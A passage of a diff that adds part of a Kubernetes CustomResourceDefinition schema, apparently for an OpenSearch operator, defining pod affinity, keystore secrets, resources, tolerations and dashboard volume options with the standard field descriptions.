x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + type: array + x-kubernetes-list-type: atomic + type: object + podAntiAffinity: + description: Describes pod anti-affinity scheduling rules + (e.g. avoid putting this pod in the same node, zone, etc. + as some other pod(s)). + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the anti-affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling anti-affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the + node(s) with the highest sum are the most preferred. + items: + description: The weights of all of the matched WeightedPodAffinityTerm + fields are added per-node to find the most preferred + node(s) + properties: + podAffinityTerm: + description: Required. A pod affinity term, associated + with the corresponding weight. + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + weight: + description: |- + weight associated with matching the corresponding podAffinityTerm, + in the range 1-100. + format: int32 + type: integer + required: + - podAffinityTerm + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the anti-affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the anti-affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to a pod label update), the + system may or may not try to eventually evict the pod from its node. + When there are multiple elements, the lists of nodes corresponding to each + podAffinityTerm are intersected, i.e. all terms must be satisfied. + items: + description: |- + Defines a set of pods (namely those matching the labelSelector + relative to the given namespace(s)) that this pod should be + co-located (affinity) or not co-located (anti-affinity) with, + where co-located is defined as running on a node whose value of + the label with key matches that of any node on which + a pod of the set of pods is running + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list of label + selector requirements. The requirements are + ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list of label + selector requirements. The requirements are + ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + type: array + x-kubernetes-list-type: atomic + type: object + type: object + jvm: + type: string + keystore: + items: + properties: + keyMappings: + additionalProperties: + type: string + description: Key mappings from secret to keystore keys + type: object + secret: + description: Secret containing key value pairs + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: object + type: array + nodeSelector: + additionalProperties: + type: string + type: object + pluginsList: + items: + type: string + type: array + resources: + description: ResourceRequirements describes the compute resource + requirements. + properties: + claims: + description: |- + Claims lists the names of resources, defined in spec.resourceClaims, + that are used by this container. + + This is an alpha field and requires enabling the + DynamicResourceAllocation feature gate. + + This field is immutable. It can only be set for containers. + items: + description: ResourceClaim references one entry in PodSpec.ResourceClaims. + properties: + name: + description: |- + Name must match the name of one entry in pod.spec.resourceClaims of + the Pod where this field is used. It makes that resource available + inside a container. + type: string + request: + description: |- + Request is the name chosen for a request in the referenced claim. + If empty, everything from the claim is made available, otherwise + only the result of this request. + type: string + required: + - name + type: object + type: array + x-kubernetes-list-map-keys: + - name + x-kubernetes-list-type: map + limits: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Limits describes the maximum amount of compute resources allowed. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + requests: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Requests describes the minimum amount of compute resources required. + If Requests is omitted for a container, it defaults to Limits if that is explicitly specified, + otherwise to an implementation-defined value. Requests cannot exceed Limits. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + type: object + tolerations: + items: + description: |- + The pod this Toleration is attached to tolerates any taint that matches + the triple using the matching operator . + properties: + effect: + description: |- + Effect indicates the taint effect to match. Empty means match all taint effects. + When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute. + type: string + key: + description: |- + Key is the taint key that the toleration applies to. Empty means match all taint keys. + If the key is empty, operator must be Exists; this combination means to match all values and all keys. + type: string + operator: + description: |- + Operator represents a key's relationship to the value. + Valid operators are Exists and Equal. Defaults to Equal. + Exists is equivalent to wildcard for value, so that a pod can + tolerate all taints of a particular category. + type: string + tolerationSeconds: + description: |- + TolerationSeconds represents the period of time the toleration (which must be + of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default, + it is not set, which means tolerate the taint forever (do not evict). Zero and + negative values will be treated as 0 (evict immediately) by the system. + format: int64 + type: integer + value: + description: |- + Value is the taint value the toleration matches to. + If the operator is Exists, the value should be empty, otherwise just a regular string. + type: string + type: object + type: array + type: object + confMgmt: + description: ConfMgmt defines which additional services will be deployed + properties: + VerUpdate: + type: boolean + autoScaler: + type: boolean + smartScaler: + type: boolean + type: object + dashboards: + properties: + additionalConfig: + additionalProperties: + type: string + description: Additional properties for opensearch_dashboards.yaml + type: object + additionalVolumes: + items: + properties: + configMap: + description: ConfigMap to use to populate the volume + properties: + defaultMode: + description: |- + defaultMode is optional: mode bits used to set permissions on created files by default. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + Defaults to 0644. + Directories within the path are not affected by this setting. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + items: + description: |- + items if unspecified, each key-value pair in the Data field of the referenced + ConfigMap will be projected into the volume as a file whose name is the + key and content is the value. If specified, the listed keys will be + projected into the specified paths, and unlisted keys will not be + present. If a key is specified which is not present in the ConfigMap, + the volume setup will error unless it is marked optional. Paths must be + relative and may not contain the '..' path or start with '..'. + items: + description: Maps a string key to a path within a + volume. + properties: + key: + description: key is the key to project. + type: string + mode: + description: |- + mode is Optional: mode bits used to set permissions on this file. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: |- + path is the relative path of the file to map the key to. + May not be an absolute path. + May not contain the path element '..'. + May not start with the string '..'. + type: string + required: + - key + - path + type: object + type: array + x-kubernetes-list-type: atomic + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: optional specify whether the ConfigMap + or its keys must be defined + type: boolean + type: object + x-kubernetes-map-type: atomic + csi: + description: CSI object to use to populate the volume + properties: + driver: + description: |- + driver is the name of the CSI driver that handles this volume. + Consult with your admin for the correct name as registered in the cluster. + type: string + fsType: + description: |- + fsType to mount. Ex. "ext4", "xfs", "ntfs". + If not provided, the empty value is passed to the associated CSI driver + which will determine the default filesystem to apply. + type: string + nodePublishSecretRef: + description: |- + nodePublishSecretRef is a reference to the secret object containing + sensitive information to pass to the CSI driver to complete the CSI + NodePublishVolume and NodeUnpublishVolume calls. + This field is optional, and may be empty if no secret is required. If the + secret object contains more than one secret, all secret references are passed. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + readOnly: + description: |- + readOnly specifies a read-only configuration for the volume. + Defaults to false (read/write). + type: boolean + volumeAttributes: + additionalProperties: + type: string + description: |- + volumeAttributes stores driver-specific properties that are passed to the CSI + driver. Consult your driver's documentation for supported values. + type: object + required: + - driver + type: object + emptyDir: + description: EmptyDir to use to populate the volume + properties: + medium: + description: |- + medium represents what type of storage medium should back this directory. + The default is "" which means to use the node's default medium. + Must be an empty string (default) or Memory. + More info: https://kubernetes.io/docs/concepts/storage/volumes#emptydir + type: string + sizeLimit: + anyOf: + - type: integer + - type: string + description: |- + sizeLimit is the total amount of local storage required for this EmptyDir volume. + The size limit is also applicable for memory medium. + The maximum usage on memory medium EmptyDir would be the minimum value between + the SizeLimit specified here and the sum of memory limits of all containers in a pod. + The default is nil which means that the limit is undefined. + More info: https://kubernetes.io/docs/concepts/storage/volumes#emptydir + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + type: object + name: + description: Name to use for the volume. Required. + type: string + path: + description: Path in the container to mount the volume at. + Required. + type: string + projected: + description: Projected object to use to populate the volume + properties: + defaultMode: + description: |- + defaultMode are the mode bits used to set permissions on created files by default. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + Directories within the path are not affected by this setting. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + sources: + description: |- + sources is the list of volume projections. Each entry in this list + handles one source. + items: + description: |- + Projection that may be projected along with other supported volume types. + Exactly one of these fields must be set. + properties: + clusterTrustBundle: + description: |- + ClusterTrustBundle allows a pod to access the `.spec.trustBundle` field + of ClusterTrustBundle objects in an auto-updating file. + + Alpha, gated by the ClusterTrustBundleProjection feature gate. + + ClusterTrustBundle objects can either be selected by name, or by the + combination of signer name and a label selector. + + Kubelet performs aggressive normalization of the PEM contents written + into the pod filesystem. Esoteric PEM features such as inter-block + comments and block headers are stripped. Certificates are deduplicated. + The ordering of certificates within the file is arbitrary, and Kubelet + may change the order over time. + properties: + labelSelector: + description: |- + Select all ClusterTrustBundles that match this label selector. Only has + effect if signerName is set. Mutually-exclusive with name. If unset, + interpreted as "match nothing". If set but empty, interpreted as "match + everything". + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The + requirements are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + name: + description: |- + Select a single ClusterTrustBundle by object name. Mutually-exclusive + with signerName and labelSelector. + type: string + optional: + description: |- + If true, don't block pod startup if the referenced ClusterTrustBundle(s) + aren't available. If using name, then the named ClusterTrustBundle is + allowed not to exist. If using signerName, then the combination of + signerName and labelSelector is allowed to match zero + ClusterTrustBundles. + type: boolean + path: + description: Relative path from the volume + root to write the bundle. + type: string + signerName: + description: |- + Select all ClusterTrustBundles that match this signer name. + Mutually-exclusive with name. The contents of all selected + ClusterTrustBundles will be unified and deduplicated. + type: string + required: + - path + type: object + configMap: + description: configMap information about the configMap + data to project + properties: + items: + description: |- + items if unspecified, each key-value pair in the Data field of the referenced + ConfigMap will be projected into the volume as a file whose name is the + key and content is the value. If specified, the listed keys will be + projected into the specified paths, and unlisted keys will not be + present. If a key is specified which is not present in the ConfigMap, + the volume setup will error unless it is marked optional. Paths must be + relative and may not contain the '..' path or start with '..'. + items: + description: Maps a string key to a path + within a volume. + properties: + key: + description: key is the key to project. + type: string + mode: + description: |- + mode is Optional: mode bits used to set permissions on this file. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: |- + path is the relative path of the file to map the key to. + May not be an absolute path. + May not contain the path element '..'. + May not start with the string '..'. + type: string + required: + - key + - path + type: object + type: array + x-kubernetes-list-type: atomic + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: optional specify whether the + ConfigMap or its keys must be defined + type: boolean + type: object + x-kubernetes-map-type: atomic + downwardAPI: + description: downwardAPI information about the + downwardAPI data to project + properties: + items: + description: Items is a list of DownwardAPIVolume + file + items: + description: DownwardAPIVolumeFile represents + information to create the file containing + the pod field + properties: + fieldRef: + description: 'Required: Selects a field + of the pod: only annotations, labels, + name, namespace and uid are supported.' + properties: + apiVersion: + description: Version of the schema + the FieldPath is written in terms + of, defaults to "v1". + type: string + fieldPath: + description: Path of the field to + select in the specified API version. + type: string + required: + - fieldPath + type: object + x-kubernetes-map-type: atomic + mode: + description: |- + Optional: mode bits used to set permissions on this file, must be an octal value + between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: 'Required: Path is the + relative path name of the file to + be created. Must not be absolute or + contain the ''..'' path. Must be utf-8 + encoded. The first item of the relative + path must not start with ''..''' + type: string + resourceFieldRef: + description: |- + Selects a resource of the container: only resources limits and requests + (limits.cpu, limits.memory, requests.cpu and requests.memory) are currently supported. + properties: + containerName: + description: 'Container name: required + for volumes, optional for env + vars' + type: string + divisor: + anyOf: + - type: integer + - type: string + description: Specifies the output + format of the exposed resources, + defaults to "1" + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + resource: + description: 'Required: resource + to select' + type: string + required: + - resource + type: object + x-kubernetes-map-type: atomic + required: + - path + type: object + type: array + x-kubernetes-list-type: atomic + type: object + secret: + description: secret information about the secret + data to project + properties: + items: + description: |- + items if unspecified, each key-value pair in the Data field of the referenced + Secret will be projected into the volume as a file whose name is the + key and content is the value. If specified, the listed keys will be + projected into the specified paths, and unlisted keys will not be + present. If a key is specified which is not present in the Secret, + the volume setup will error unless it is marked optional. Paths must be + relative and may not contain the '..' path or start with '..'. + items: + description: Maps a string key to a path + within a volume. + properties: + key: + description: key is the key to project. + type: string + mode: + description: |- + mode is Optional: mode bits used to set permissions on this file. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: |- + path is the relative path of the file to map the key to. + May not be an absolute path. + May not contain the path element '..'. + May not start with the string '..'. + type: string + required: + - key + - path + type: object + type: array + x-kubernetes-list-type: atomic + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: optional field specify whether + the Secret or its key must be defined + type: boolean + type: object + x-kubernetes-map-type: atomic + serviceAccountToken: + description: serviceAccountToken is information + about the serviceAccountToken data to project + properties: + audience: + description: |- + audience is the intended audience of the token. A recipient of a token + must identify itself with an identifier specified in the audience of the + token, and otherwise should reject the token. The audience defaults to the + identifier of the apiserver. + type: string + expirationSeconds: + description: |- + expirationSeconds is the requested duration of validity of the service + account token. As the token approaches expiration, the kubelet volume + plugin will proactively rotate the service account token. The kubelet will + start trying to rotate the token if the token is older than 80 percent of + its time to live or if the token is older than 24 hours.Defaults to 1 hour + and must be at least 10 minutes. + format: int64 + type: integer + path: + description: |- + path is the path relative to the mount point of the file to project the + token into. + type: string + required: + - path + type: object + type: object + type: array + x-kubernetes-list-type: atomic + type: object + restartPods: + description: Whether to restart the pods on content change + type: boolean + secret: + description: Secret to use populate the volume + properties: + defaultMode: + description: |- + defaultMode is Optional: mode bits used to set permissions on created files by default. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values + for mode bits. Defaults to 0644. + Directories within the path are not affected by this setting. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + items: + description: |- + items If unspecified, each key-value pair in the Data field of the referenced + Secret will be projected into the volume as a file whose name is the + key and content is the value. If specified, the listed keys will be + projected into the specified paths, and unlisted keys will not be + present. If a key is specified which is not present in the Secret, + the volume setup will error unless it is marked optional. Paths must be + relative and may not contain the '..' path or start with '..'. + items: + description: Maps a string key to a path within a + volume. + properties: + key: + description: key is the key to project. + type: string + mode: + description: |- + mode is Optional: mode bits used to set permissions on this file. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: |- + path is the relative path of the file to map the key to. + May not be an absolute path. + May not contain the path element '..'. + May not start with the string '..'. + type: string + required: + - key + - path + type: object + type: array + x-kubernetes-list-type: atomic + optional: + description: optional field specify whether the Secret + or its keys must be defined + type: boolean + secretName: + description: |- + secretName is the name of the secret in the pod's namespace to use. + More info: https://kubernetes.io/docs/concepts/storage/volumes#secret + type: string + type: object + subPath: + description: SubPath of the referenced volume to mount. + type: string + required: + - name + - path + type: object + type: array + affinity: + description: Affinity is a group of affinity scheduling rules. + properties: + nodeAffinity: + description: Describes node affinity scheduling rules for + the pod. + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node matches the corresponding matchExpressions; the + node(s) with the highest sum are the most preferred. + items: + description: |- + An empty preferred scheduling term matches all objects with implicit weight 0 + (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op). + properties: + preference: + description: A node selector term, associated with + the corresponding weight. + properties: + matchExpressions: + description: A list of node selector requirements + by node's labels. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the selector + applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchFields: + description: A list of node selector requirements + by node's fields. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the selector + applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + type: object + x-kubernetes-map-type: atomic + weight: + description: Weight associated with matching the + corresponding nodeSelectorTerm, in the range 1-100. + format: int32 + type: integer + required: + - preference + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to an update), the system + may or may not try to eventually evict the pod from its node. + properties: + nodeSelectorTerms: + description: Required. A list of node selector terms. + The terms are ORed. + items: + description: |- + A null or empty node selector term matches no objects. The requirements of + them are ANDed. + The TopologySelectorTerm type implements a subset of the NodeSelectorTerm. + properties: + matchExpressions: + description: A list of node selector requirements + by node's labels. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the selector + applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchFields: + description: A list of node selector requirements + by node's fields. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the selector + applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + type: object + x-kubernetes-map-type: atomic + type: array + 